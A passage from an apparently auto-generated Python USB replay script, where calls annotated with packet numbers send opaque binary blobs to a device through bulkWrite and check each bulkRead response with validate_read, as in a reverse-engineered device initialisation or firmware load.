b\"\\x70\\x17\\x42\\x6D\\xCC\\xF9\\xC8\\xEF\\x3A\\x76\\xA1\\x5A\\xFA\\x98\\x8D\\x2B\"\n b\"\\xB6\\x5C\\x3E\\x33\\x8B\\x08\\x2A\\xBB\\x2A\\xE2\\x59\\xEB\\x1E\\xD3\\xF3\\x12\"\n b\"\\x6D\\xFD\\x0E\\xEB\\x47\\xC7\\x19\\x64\\x78\\xD7\\x56\\x93\\x57\\xD8\\xEB\\x88\"\n b\"\\x8F\\x6E\\x38\\xE6\\x70\\x27\\x71\\x62\\x67\\xA8\\x70\\x58\\x20\\x0E\\x70\\xCE\"\n b\"\\xFD\\xF6\\x94\\x3A\\xC0\\x29\\x3E\\xFF\\x14\\x20\\x86\\xE6\")\n # Generated from packet 3507/3508\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3507/3508\")\n # Generated from packet 3509/3510\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x05\\x1D\\x5D\\xF7\\xFC\\x19\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xB8\\x57\\xEB\\xD9\\x0E\\xFC\\xD2\\x83\"\n b\"\\x14\\xFC\\x7B\\xFF\\x36\\xFD\\x3D\\xEE\\xF7\\x0E\\x86\\x87\\xA6\\x56\\xFF\\xEE\"\n b\"\\x1A\\x6E\\xDD\\xC7\\xC9\\x3A\\x98\\x62\\xA1\\x89\\xA5\\x3F\\x60\\x3A\\x87\\x14\"\n b\"\\x2B\\x57\\xF3\\x3B\\xA3\\x4B\\x2A\\xFC\\xF2\\x6C\\x7D\\xB2\\x8F\\xDE\\xFE\\xE2\"\n b\"\\x73\\x8A\\xAD\\xE3\\xB8\\x04\\x82\\x28\\xD0\\xCF\\xE5\\x04\\xE8\\xCC\\x0B\\xDE\"\n b\"\\x17\\x93\\x62\\x9E\\x0B\\x93\\x30\\x8B\\x65\\x4C\\x8D\\x77\\xC3\\xFC\\x0E\\xD1\"\n b\"\\xD6\\xFC\\xC2\\xE5\\x21\\xF0\\x90\\x78\\x1A\\x9B\\x46\\x58\\xA2\\x3B\\x61\\x26\"\n b\"\\x99\\x69\\x15\\xCE\\x83\\x1C\\x77\\x51\\x8B\\xD5\\x49\\x5E\\xA4\\xC5\\x69\\x56\"\n b\"\\x4E\\x1E\\xA3\\x82\\x6A\\x55\\x7A\\x99\\xAB\\x84\\xC8\\x74\\xC1\\x2E\\xD6\\xD4\"\n b\"\\x0B\\x3C\\x02\\x78\\x1C\\xE0\\xEF\\x0D\\x5C\\xB4\\xCA\\xF7\\x4E\\xE5\\x55\\xD2\"\n b\"\\x3A\\x54\\x3E\\x76\\xB1\\x8D\\x60\\x5A\\xC9\\xB8\\xD7\\x19\\x70\\xB1\\x7F\\x5D\"\n b\"\\x9C\\x57\\x87\\x30\\x1B\\xF6\\x12\\x25\\xE2\\xC9\\xF3\\xFC\\xD2\\x38\\x9D\\x52\"\n b\"\\x54\\x6F\\x68\\x06\\xEF\\x67\\x8A\\x51\\x71\\xFE\\x45\\xEE\\xB0\\x17\\x57\\x7A\"\n b\"\\x37\\x1B\\x8B\\xB2\\x60\\x36\\xBD\\x88\\x83\\xB1\\xEE\\x0E\\x5D\\x04\\xB6\\x07\"\n b\"\\x0C\\x62\\xA0\\x1E\\x72\\xC5\\x29\\x3D\\xD6\\x63\\x6B\\x66\\xBE\\xA6\\x82\\xAE\"\n b\"\\x1B\\x9C\\x5C\\x64\\x41\\x0A\\x1B\\x8D\\x3D\\x7B\\xED\\xB3\\xF0\\x34\\x7C\\xEB\"\n b\"\\x6C\\x27\\x0D\\x53\\x40\\x2D\\x34\\x84\\x07\\x5F\\x4C\\x78\")\n # Generated from packet 3511/3512\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3511/3512\")\n # Generated from packet 3513/3514\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xCB\\x4D\\x53\\xE3\\x80\\x5D\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xB8\\xA7\\xEB\\xB3\\xEF\\xBE\\xBD\\x88\"\n b\"\\x0C\\x39\\xEE\\x0E\\xD2\\x8C\\xB6\\x07\\x83\\xEA\\xA0\\x1E\\xFD\\x4D\\x29\\x3D\"\n b\"\\x59\\xEB\\x6B\\x66\\x31\\x2E\\x82\\xAE\\x94\\x14\\x5C\\x64\\xCE\\x82\\x1B\\x8D\"\n b\"\\xB2\\xF3\\xED\\xB3\\x7F\\xBC\\x7C\\xEB\\xE3\\xAF\\x0D\\x53\\xCF\\xA5\\x34\\x84\"\n b\"\\x88\\xD7\\x4C\\x78\\x03\\xE9\\x6D\\xC4\\xED\\x63\\xEF\\x32\\x62\\x0A\\x5A\\xF2\"\n b\"\\x8C\\x26\\x2B\\xBE\\x48\\x95\\x33\\x83\\x1C\\x81\\xBB\\x22\\xF6\\xF2\\xEB\\x16\"\n b\"\\xC7\\x58\\x12\\x65\\xE9\\xA5\\xEB\\x4F\\xD3\\xB2\\x64\\x70\\xC3\\xFD\\x93\\x5F\"\n b\"\\xCC\\x40\\x88\\x87\\x7A\\x93\\xE6\\x78\\x33\\xDA\\x62\\x6F\\xBC\\xDB\\x58\\x28\"\n b\"\\x1A\\xDB\\xCE\\xF5\\xE2\\x3F\\x3A\\xC8\\x3D\\x95\\xFF\\x1C\\x34\\x2D\\xE6\\x41\"\n b\"\\x6E\\xFE\\x70\\xEE\\x2B\\x03\\xCB\\x3D\\x38\\x94\\xDF\\x87\\x32\\xA8\\x89\\xD9\"\n b\"\\x8A\\xC8\\xBC\\xFA\\x13\\x82\\x7C\\x14\\x89\\x06\\xB0\\x79\\x9C\\x91\\x9C\\x8F\"\n b\"\\xB4\\xB8\\xB4\\x7D\\x97\\x90\\x1E\\x8C\\x62\\xCA\\xB9\\x5F\\x70\\x03\\xB7\\x51\"\n b\"\\x4C\\x0D\\xFD\\xAC\\xA7\\x0C\\xBE\\xBB\\xBF\\x8E\\xCC\\x35\\x0E\\x0B\\x64\\xA8\"\n b\"\\xAA\\xBC\\xAF\\xA3\\xA4\\x28\\xA1\\x09\\xF0\\xC6\\x5E\\x53\\xB8\\x4B\\x03\\x9D\"\n b\"\\xBA\\x70\\x7C\\xEB\\xD5\\x18\\x15\\x12\\xCE\\xE1\\x52\\x04\\xE1\\x7A\\xD6\\x33\"\n b\"\\x83\\x31\\x63\\x5A\\x9F\\xF6\\xE2\\x5D\\xEA\\xAA\\xA3\\x08\\xF3\\x38\\x93\\xF4\"\n b\"\\x98\\xC7\\x8A\\x41\\x7A\\x73\\xDB\\x12\\x2E\\x01\\x67\\xA2\")\n # Generated from packet 3515/3516\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3515/3516\")\n # Generated from packet 3517/3518\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x99\\xBC\\x41\\xDF\\x76\\x78\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x8F\\xFB\\x7E\\xEC\\x28\\x26\\x3D\\x49\"\n b\"\\x8E\\x64\\x66\\x21\\x4B\\x8D\\xAE\\x84\\x71\\x53\\x64\\xDE\\xE7\\x14\\x8D\\xA2\"\n b\"\\x96\\xE2\\xB3\\x6F\\xD9\\x73\\xEB\\xF3\\xCA\\x02\\x53\\xDF\\xC0\\x3B\\x84\\x98\"\n b\"\\xB2\\x43\\x78\\x13\\x8C\\x62\\xC4\\xFD\\x06\\xE0\\x32\\x72\\x6F\\x55\\xF2\\x9C\"\n b\"\\x43\\x24\\xBE\\x58\\xF0\\x3C\\x83\\x0C\\xE4\\xB4\\x22\\xE6\\x97\\xE4\\x16\\xD7\"\n b\"\\x3D\\x1D\\x65\\xF9\\xC0\\xE4\\x4F\\xC3\\xD7\\x6B\\x70\\xD3\\x98\\x9C\\x5F\\xDC\"\n b\"\\x25\\x87\\x87\\x6A\\xF6\\xE9\\x78\\x23\\xBF\\x6D\\x6F\\xAC\\xBE\\x57\\x28\\x0A\"\n b\"\\xBE\\xC1\\xF5\\xF2\\x5A\\x35\\xC8\\x2D\\xF0\\xF0\\x1C\\x24\\x48\\xE9\\x41\\x7E\"\n b\"\\x9B\\x7F\\xEE\\x3B\\x66\\xC4\\x3D\\x28\\xF1\\xD0\\x87\\x22\\xCD\\x86\\xD9\\x9A\"\n b\"\\xAD\\xB3\\xFA\\x03\\xE7\\x73\\x14\\x99\\x63\\xBF\\x79\\x8C\\xF4\\x93\\x8F\\xA4\"\n b\"\\xDD\\xBB\\x7D\\x87\\xF5\\x11\\x8C\\x72\\xAF\\xB6\\x5F\\x60\\x66\\xB8\\x51\\x5C\"\n b\"\\x68\\xF2\\xAC\\xB7\\x69\\xB1\\xBB\\xAF\\xEB\\xC3\\x35\\x1E\\x6E\\x6B\\xA8\\xBA\"\n b\"\\xD9\\xA0\\xA3\\xB4\\x4D\\xAE\\x09\\xE0\\xA3\\x51\\x53\\xA8\\x2E\\x0C\\x9D\\xAA\"\n b\"\\x15\\x73\\xEB\\xC5\\x7D\\x1A\\x12\\xDE\\x84\\x5D\\x04\\xF1\\x1F\\xD9\\x33\\x93\"\n b\"\\x54\\x6C\\x5A\\x8F\\x93\\xED\\x5D\\xFA\\xCF\\xAC\\x08\\xE3\\x5D\\x9C\\xF4\\x88\"\n b\"\\xA2\\x85\\x41\\x6A\\x16\\xD4\\x12\\x3E\\x64\\x68\\xA2\\x49\\xC3\\xDC\\xFD\\x4A\"\n b\"\\x51\\x15\\x02\\x8D\\xC2\\xDA\\x1C\\x4F\\x0F\\x07\\x4A\\x43\")\n # Generated from packet 3519/3520\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3519/3520\")\n # Generated from packet 3521/3522\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x57\\xEC\\x4F\\xCB\\x02\\x50\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x67\\xFC\\x48\\x4E\\xAC\\xEF\\x04\\x77\"\n b\"\\xAF\\x01\\xDE\\x88\\xF0\\x68\\x9E\\x94\\xF0\\x3A\\x8B\\xFA\\x2F\\x87\\x77\\x5C\"\n b\"\\x9F\\x04\\xD1\\x49\\x9F\\xC8\\xE5\\xBE\\x93\\x9A\\x78\\x85\\xF8\\x4C\\x58\\x3D\"\n b\"\\x58\\x6B\\x26\\x06\\x0A\\x1F\\xCE\\x1C\\x7F\\x7D\\x51\\x14\\xB6\\x43\\x5E\\x3B\"\n b\"\\xA6\\x63\\x56\\xD1\\x7D\\xA9\\x82\\xF5\\x36\\x70\\x99\\x34\\xE7\\xC2\\x74\\x5E\"\n b\"\\x4D\\xDC\\xD4\\x94\\x5F\\x08\\x78\\x83\\x83\\xE5\\x0D\\xC3\\xD7\\xC0\\xF7\\xD1\"\n b\"\\x86\\x5F\\xD2\\xA5\\x37\\x34\\x76\\x2E\\xEE\\x6A\\x5A\\x56\\xDB\\xDD\\x19\\xEF\"\n b\"\\xD2\\x75\\x5D\\x03\\x34\\x8D\\x30\\x84\\x95\\x18\\x25\\x7D\\xAA\\xF9\\xFC\\x4D\"\n b\"\\x5B\\x97\\x52\\xCB\\x0C\\x62\\x06\\x70\\x04\\x80\\x51\\xEE\\x9D\\x4F\\xEE\\x2F\"\n b\"\\x74\\x5D\\x7A\\xA8\\x78\\x81\\xB2\\xFF\\x55\\xB7\\x88\\x1C\\xD2\\xE4\\x0E\\xC2\"\n b\"\\x67\\xBC\\x07\\x93\\x01\\xAA\\x1E\\xED\\xA6\\x23\\x3D\\x49\\x00\\x61\\x66\\x21\"\n b\"\\xC5\\x88\\xAE\\x84\\xFF\\x56\\x64\\xDE\\x69\\x11\\x8D\\xA2\\x18\\xE7\\xB3\\x6F\"\n b\"\\x57\\x76\\xEB\\xF3\\x44\\x07\\x53\\xDF\\x4E\\x3E\\x84\\x98\\x3C\\x46\\x78\\x13\"\n b\"\\x02\\x67\\xC4\\xFD\\x88\\xE5\\x32\\x72\\xE1\\x50\\xF2\\x9C\\xCD\\x21\\xBE\\x58\"\n b\"\\x7E\\x39\\x83\\x0C\\x6A\\xB1\\x22\\xE6\\x19\\xE1\\x16\\xD7\\xB3\\x18\\x65\\xF9\"\n b\"\\x4E\\xE1\\x4F\\xC3\\x59\\x6E\\x70\\xD3\\x16\\x99\\x5F\\xDC\\xAB\\x82\\x87\\x6A\"\n b\"\\x78\\xEC\\x78\\x23\\x31\\x68\\x6F\\xAC\\x30\\x52\\x28\\x0A\")\n # Generated from packet 3523/3524\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3523/3524\")\n # Generated from packet 3525/3526\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x3D\\x5E\\x64\\xA7\\x4B\\x05\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x8A\\x13\\x47\\x83\\x41\\xEF\\xEC\\xE5\"\n b\"\\x6D\\xD7\\xEF\\x0B\\xB7\\x28\\xB0\\x62\\xF7\\x34\\xB0\\x30\\xE2\\x5A\\x6F\\x8D\"\n b\"\\x1E\\xFC\\xDF\\x0E\\xB8\\xE9\\xDF\\xC2\\x8C\\x1E\\xD3\\x90\\x11\\x25\\xB8\\x46\"\n b\"\\x31\\x9D\\x18\\x61\\x4F\\xA6\\x4A\\x15\\xA7\\xBC\\x3F\\x77\\x38\\xB4\\xF6\\x49\"\n b\"\\x37\\x9B\\xE6\\x69\\x3F\\x71\\x3D\\xA3\\xEB\\x55\\x76\\x7A\\xF0\\x94\\xA7\\xC8\"\n b\"\\x1D\\xFE\\x0D\\xD6\\xBD\\x34\\x1F\\x02\\x11\\x23\\xC3\\xEF\\x64\\x63\\x97\\xCA\"\n b\"\\x9E\\x71\\xC6\\x55\\xBB\\x05\\x77\\x3E\\x1F\\x8E\\xAE\\x60\\x33\\xF6\\x9B\\xD7\"\n b\"\\x70\\x4F\\x92\\x7F\\x34\\xA3\\x74\\x87\\x59\\x24\\xD5\\x12\\x4C\\xDD\\xEA\\xF3\"\n b\"\\x95\\xED\\x1B\\x9D\\x3B\\x6B\\x4C\\x68\\x6F\\xD0\\x44\\x8A\\x38\\x4E\\xDD\\x45\"\n b\"\\x87\\x8F\\x34\\x57\\x13\\x08\\x38\\x8B\\xDB\\x5F\\x15\\xBD\\xE1\\xBC\\x92\\xEE\"\n b\"\\x67\\x62\\x27\\xB6\\x6E\\x33\\x41\\xA0\\x77\\x4D\\xE6\\x29\\x54\\xE9\\x40\\x6B\"\n b\"\\x0F\\x81\\x85\\x82\\xC7\\x24\\xBF\\x5C\\x0D\\x7E\\x29\\x1B\\xE4\\x02\\x58\\xED\"\n b\"\\xDA\\xCF\\x17\\x7C\\x82\\x53\\x04\\x0D\\x3A\\x7F\\x0E\\x34\\xED\\x38\\x7C\\x4C\"\n b\"\\x11\\xB3\\x42\\x6D\\xAD\\x5D\\xC8\\xEF\\x5B\\xD2\\xA1\\x5A\\x9B\\x3C\\x8D\\x2B\"\n b\"\\xD7\\xF8\\x3E\\x33\\xEA\\xAC\\x2A\\xBB\\x4B\\x46\\x59\\xEB\\x7F\\x77\\xF3\\x12\"\n b\"\\x0C\\x59\\x0E\\xEB\\x26\\x63\\x19\\x64\\x19\\x73\\x56\\x93\\x36\\x7C\\xEB\\x88\"\n b\"\\xEE\\xCA\\x38\\xE6\\x11\\x83\\x71\\x62\\x06\\x0C\\x70\\x58\")\n # Generated from packet 3527/3528\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3527/3528\")\n # Generated from packet 3529/3530\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xF3\\x0E\\x6A\\xB3\\x17\\x52\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xBE\\x21\\x6E\\xD0\\xAB\\x95\\xC2\\xE5\"\n b\"\\x5C\\x99\\x90\\x78\\x67\\xF2\\x46\\x58\\xDF\\x52\\x61\\x26\\xE4\\x00\\x15\\xCE\"\n b\"\\xFE\\x75\\x77\\x51\\xF6\\xBC\\x49\\x5E\\xD9\\xAC\\x69\\x56\\x33\\x77\\xA3\\x82\"\n b\"\\x17\\x3C\\x7A\\x99\\xD6\\xED\\xC8\\x74\\xBC\\x47\\xD6\\xD4\\x76\\x55\\x02\\x78\"\n b\"\\x61\\x89\\xEF\\x0D\\x21\\xDD\\xCA\\xF7\\x33\\x8C\\x55\\xD2\\x47\\x3D\\x3E\\x76\"\n b\"\\xCC\\xE4\\x60\\x5A\\xB4\\xD1\\xD7\\x19\\x0D\\xD8\\x7F\\x5D\\xE1\\x3E\\x87\\x30\"\n b\"\\x66\\x9F\\x12\\x25\\x9F\\xA0\\xF3\\xFC\\xAF\\x51\\x9D\\x52\\x29\\x06\\x68\\x06\"\n b\"\\x92\\x0E\\x8A\\x51\\x0C\\x97\\x45\\xEE\\xCD\\x7E\\x57\\x7A\\x4A\\x72\\x8B\\xB2\"\n b\"\\x1D\\x5F\\xBD\\x88\\xFE\\xD8\\xEE\\x0E\\x20\\x6D\\xB6\\x07\\x71\\x0B\\xA0\\x1E\"\n b\"\\x0F\\xAC\\x29\\x3D\\xAB\\x0A\\x6B\\x66\\xC3\\xCF\\x82\\xAE\\x66\\xF5\\x5C\\x64\"\n b\"\\x3C\\x63\\x1B\\x8D\\x40\\x12\\xED\\xB3\\x8D\\x5D\\x7C\\xEB\\x11\\x4E\\x0D\\x53\"\n b\"\\x3D\\x44\\x34\\x84\\x7A\\x36\\x4C\\x78\\xF1\\x08\\x6D\\xC4\\x1F\\x82\\xEF\\x32\"\n b\"\\x90\\xEB\\x5A\\xF2\\x7E\\xC7\\x2B\\xBE\\xBA\\x74\\x33\\x83\\xEE\\x60\\xBB\\x22\"\n b\"\\x04\\x13\\xEB\\x16\\x35\\xB9\\x12\\x65\\x1B\\x44\\xEB\\x4F\\x21\\x53\\x64\\x70\"\n b\"\\x31\\x1C\\x93\\x5F\\x3E\\xA1\\x88\\x87\\x88\\x72\\xE6\\x78\\xC1\\x3B\\x62\\x6F\"\n b\"\\x4E\\x3A\\x58\\x28\\xE8\\x3A\\xCE\\xF5\\x10\\xDE\\x3A\\xC8\\xCF\\x74\\xFF\\x1C\"\n b\"\\xC6\\xCC\\xE6\\x41\\x9C\\x1F\\x70\\xEE\\xD9\\xE2\\xCB\\x3D\")\n # Generated from packet 3531/3532\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3531/3532\")\n # Generated from packet 3533/3534\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xA1\\xFF\\x78\\x8F\\x6B\\x04\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xAF\\xB1\\xDE\\xD2\\xFD\\xF8\\x85\\xB8\"\n b\"\\x2B\\xD8\\x3D\\x18\\x0C\\xA6\\x06\\x4A\\x78\\x4E\\x1C\\x3F\\x1A\\xD1\\x14\\xF6\"\n b\"\\x24\\xDE\\x3B\\xE6\\x04\\xD6\\xD1\\x3D\\xCE\\x02\\xF5\\x76\\x17\\x19\\x34\\xA7\"\n b\"\\xA5\\xF4\\x5E\\x0D\\xBB\\x54\\x94\\x1F\\x6F\\xF8\\x83\\xC3\\x82\\x8D\\xC3\\x97\"\n b\"\\xA7\\x77\\xD1\\xC6\\x38\\x52\\xA5\\x77\\x53\\xF6\\x2E\\xAE\\x0D\\xDA\\x56\\x9B\"\n b\"\\xBA\\x99\\xEF\\x92\\x12\\xDD\\x03\\x74\\xEA\\xB0\\x84\\xD5\\x7F\\xA5\\x7D\\xEA\"\n b\"\\x9E\\x7C\\x4D\\x1B\\xF0\\xD2\\xCB\\x4C\\x05\\x86\\x70\\x44\\xE7\\xD1\\xEE\\xDD\"\n b\"\\x28\\x6E\\x2F\\x34\\x3A\\xFA\\xA8\\x38\\xE6\\x32\\xFF\\x15\\xD0\\x08\\x1C\\x92\"\n b\"\\x83\\x8E\\xC2\\x27\\xDB\\x87\\x93\\x41\\xCD\\x9E\\xED\\xE6\\x44\\xBD\\x49\\x40\"\n b\"\\x06\\xE6\\x21\\x85\\xEF\\x2E\\x84\\xBF\\x31\\xE4\\xDE\\x29\\x76\\x0D\\xA2\\x58\"\n b\"\\x80\\x33\\x6F\\x17\\x11\\x6B\\xF3\\x04\\x60\\xD3\\xDF\\x0E\\x59\\x04\\x98\\x7C\"\n b\"\\x21\\xF8\\x13\\x42\\x00\\x44\\xFD\\xC8\\x82\\xB2\\x72\\xA1\\x37\\x72\\x9C\\x8D\"\n b\"\\x46\\x3E\\x58\\x3E\\x5E\\x03\\x0C\\x2A\\xD6\\xA2\\xE6\\x59\\x86\\x96\\xD7\\xF3\"\n b\"\\x7F\\xE5\\xF9\\x0E\\x86\\xCF\\xC3\\x19\\x09\\xF0\\xD3\\x56\\xFE\\xDF\\xDC\\xEB\"\n b\"\\xE5\\x07\\x6A\\x38\\x8B\\xF8\\x23\\x71\\x0F\\xEF\\xAC\\x70\\x35\\xA8\\x0A\\x70\"\n b\"\\xA3\\x75\\xF2\\x94\\x57\\x48\\x2D\\x3E\\x92\\x9C\\x24\\x86\\x8B\\xC1\\x7E\\x55\"\n b\"\\x1D\\x6E\\x3B\\xA8\\xA6\\xBD\\x28\\x3F\\xB2\\x07\\x22\\x03\")\n # Generated from packet 3535/3536\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3535/3536\")\n # Generated from packet 3537/3538\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x6F\\xAF\\x76\\x9B\\x36\\x47\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xC0\\x56\\x75\\xCF\\xDA\\xD7\\x77\\x51\"\n b\"\\xD2\\x1E\\x49\\x5E\\xFD\\x0E\\x69\\x56\\x17\\xD5\\xA3\\x82\\x33\\x9E\\x7A\\x99\"\n b\"\\xF2\\x4F\\xC8\\x74\\x98\\xE5\\xD6\\xD4\\x52\\xF7\\x02\\x78\\x45\\x2B\\xEF\\x0D\"\n b\"\\x05\\x7F\\xCA\\xF7\\x17\\x2E\\x55\\xD2\\x63\\x9F\\x3E\\x76\\xE8\\x46\\x60\\x5A\"\n b\"\\x90\\x73\\xD7\\x19\\x29\\x7A\\x7F\\x5D\\xC5\\x9C\\x87\\x30\\x42\\x3D\\x12\\x25\"\n b\"\\xBB\\x02\\xF3\\xFC\\x8B\\xF3\\x9D\\x52\\x0D\\xA4\\x68\\x06\\xB6\\xAC\\x8A\\x51\"\n b\"\\x28\\x35\\x45\\xEE\\xE9\\xDC\\x57\\x7A\\x6E\\xD0\\x8B\\xB2\\x39\\xFD\\xBD\\x88\"\n b\"\\xDA\\x7A\\xEE\\x0E\\x04\\xCF\\xB6\\x07\\x55\\xA9\\xA0\\x1E\\x2B\\x0E\\x29\\x3D\"\n b\"\\x8F\\xA8\\x6B\\x66\\xE7\\x6D\\x82\\xAE\\x42\\x57\\x5C\\x64\\x18\\xC1\\x1B\\x8D\"\n b\"\\x64\\xB0\\xED\\xB3\\xA9\\xFF\\x7C\\xEB\\x35\\xEC\\x0D\\x53\\x19\\xE6\\x34\\x84\"\n b\"\\x5E\\x94\\x4C\\x78\\xD5\\xAA\\x6D\\xC4\\x3B\\x20\\xEF\\x32\\xB4\\x49\\x5A\\xF2\"\n b\"\\x5A\\x65\\x2B\\xBE\\x9E\\xD6\\x33\\x83\\xCA\\xC2\\xBB\\x22\\x20\\xB1\\xEB\\x16\"\n b\"\\x11\\x1B\\x12\\x65\\x3F\\xE6\\xEB\\x4F\\x05\\xF1\\x64\\x70\\x15\\xBE\\x93\\x5F\"\n b\"\\x1A\\x03\\x88\\x87\\xAC\\xD0\\xE6\\x78\\xE5\\x99\\x62\\x6F\\x6A\\x98\\x58\\x28\"\n b\"\\xCC\\x98\\xCE\\xF5\\x34\\x7C\\x3A\\xC8\\xEB\\xD6\\xFF\\x1C\\xE2\\x6E\\xE6\\x41\"\n b\"\\xB8\\xBD\\x70\\xEE\\xFD\\x40\\xCB\\x3D\\xEE\\xD7\\xDF\\x87\\xE4\\xEB\\x89\\xD9\"\n b\"\\x5C\\x8B\\xBC\\xFA\\xC5\\xC1\\x7C\\x14\\x5F\\x45\\xB0\\x79\")\n # Generated from packet 3539/3540\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3539/3540\")\n # Generated from packet 3541/3542\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x75\\x9B\\x2F\\x57\\xB1\\x45\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x76\\xD6\\x06\\x20\\xB3\\x2A\\xAE\\x84\"\n b\"\\x89\\xF4\\x64\\xDE\\x1F\\xB3\\x8D\\xA2\\x6E\\x45\\xB3\\x6F\\x21\\xD4\\xEB\\xF3\"\n b\"\\x32\\xA5\\x53\\xDF\\x38\\x9C\\x84\\x98\\x4A\\xE4\\x78\\x13\\x74\\xC5\\xC4\\xFD\"\n b\"\\xFE\\x47\\x32\\x72\\x97\\xF2\\xF2\\x9C\\xBB\\x83\\xBE\\x58\\x08\\x9B\\x83\\x0C\"\n b\"\\x1C\\x13\\x22\\xE6\\x6F\\x43\\x16\\xD7\\xC5\\xBA\\x65\\xF9\\x38\\x43\\x4F\\xC3\"\n b\"\\x2F\\xCC\\x70\\xD3\\x60\\x3B\\x5F\\xDC\\xDD\\x20\\x87\\x6A\\x0E\\x4E\\x78\\x23\"\n b\"\\x47\\xCA\\x6F\\xAC\\x46\\xF0\\x28\\x0A\\x46\\x66\\xF5\\xF2\\xA2\\x92\\xC8\\x2D\"\n b\"\\x08\\x57\\x1C\\x24\\xB0\\x4E\\x41\\x7E\\x63\\xD8\\xEE\\x3B\\x9E\\x63\\x3D\\x28\"\n b\"\\x09\\x77\\x87\\x22\\x35\\x21\\xD9\\x9A\\x55\\x14\\xFA\\x03\\x1F\\xD4\\x14\\x99\"\n b\"\\x9B\\x18\\x79\\x8C\\x0C\\x34\\x8F\\xA4\\x25\\x1C\\x7D\\x87\\x0D\\xB6\\x8C\\x72\"\n b\"\\x57\\x11\\x5F\\x60\\x9E\\x1F\\x51\\x5C\\x90\\x55\\xAC\\xB7\\x91\\x16\\xBB\\xAF\"\n b\"\\x13\\x64\\x35\\x1E\\x96\\xCC\\xA8\\xBA\\x21\\x07\\xA3\\xB4\\xB5\\x09\\x09\\xE0\"\n b\"\\x5B\\xF6\\x53\\xA8\\xD6\\xAB\\x9D\\xAA\\xED\\xD4\\xEB\\xC5\\x85\\xBD\\x12\\xDE\"\n b\"\\x7C\\xFA\\x04\\xF1\\xE7\\x7E\\x33\\x93\\xAC\\xCB\\x5A\\x8F\\x6B\\x4A\\x5D\\xFA\"\n b\"\\x37\\x0B\\x08\\xE3\\xA5\\x3B\\xF4\\x88\\x5A\\x22\\x41\\x6A\\xEE\\x73\\x12\\x3E\"\n b\"\\x9C\\xCF\\xA2\\x49\\x3B\\x7B\\xFD\\x4A\\xA9\\xB2\\x02\\x8D\\x3A\\x7D\\x1C\\x4F\"\n b\"\\xF7\\xA0\\x4A\\x43\\x06\\x31\\x36\\x01\\x3C\\x8A\\x9D\\xEA\")\n # Generated from packet 3543/3544\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 3543/3544\")\n # Generated from packet 3545/3546\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xBB\\xCB\\x21\\x43\\x21\\x39\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xCB\\x19\\xBE\\x89\\x94\\x45\\x9E\\x94\"\n b\"\\x94\\x17\\x8B\\xFA\\x4B\\xAA\\x77\\x5C\\xFB\\x29\\xD1\\x49\\xFB\\xE5\\xE5\\xBE\"\n b\"\\xF7\\xB7\\x78\\x85\\x9C\\x61\\x58\\x3D\\x3C\\x46\\x26\\x06\\x6E\\x32\\xCE\\x1C\"\n b\"\\x1B\\x50\\x51\\x14\\xD2\\x6E\\x5E\\x3B\\xC2\\x4E\\x56\\xD1\\x19\\x84\\x82\\xF5\"\n b\"\\x52\\x5D\\x99\\x34\\x83\\xEF\\x74\\x5E\\x29\\xF1\\xD4\\x94\\x3B\\x25\\x78\\x83\"\n b\"\\xE7\\xC8\\x0D\\xC3\\xB3\\xED\\xF7\\xD1\\xE2\\x72\\xD2\\xA5\\x53\\x19\\x76\\x2E\"\n 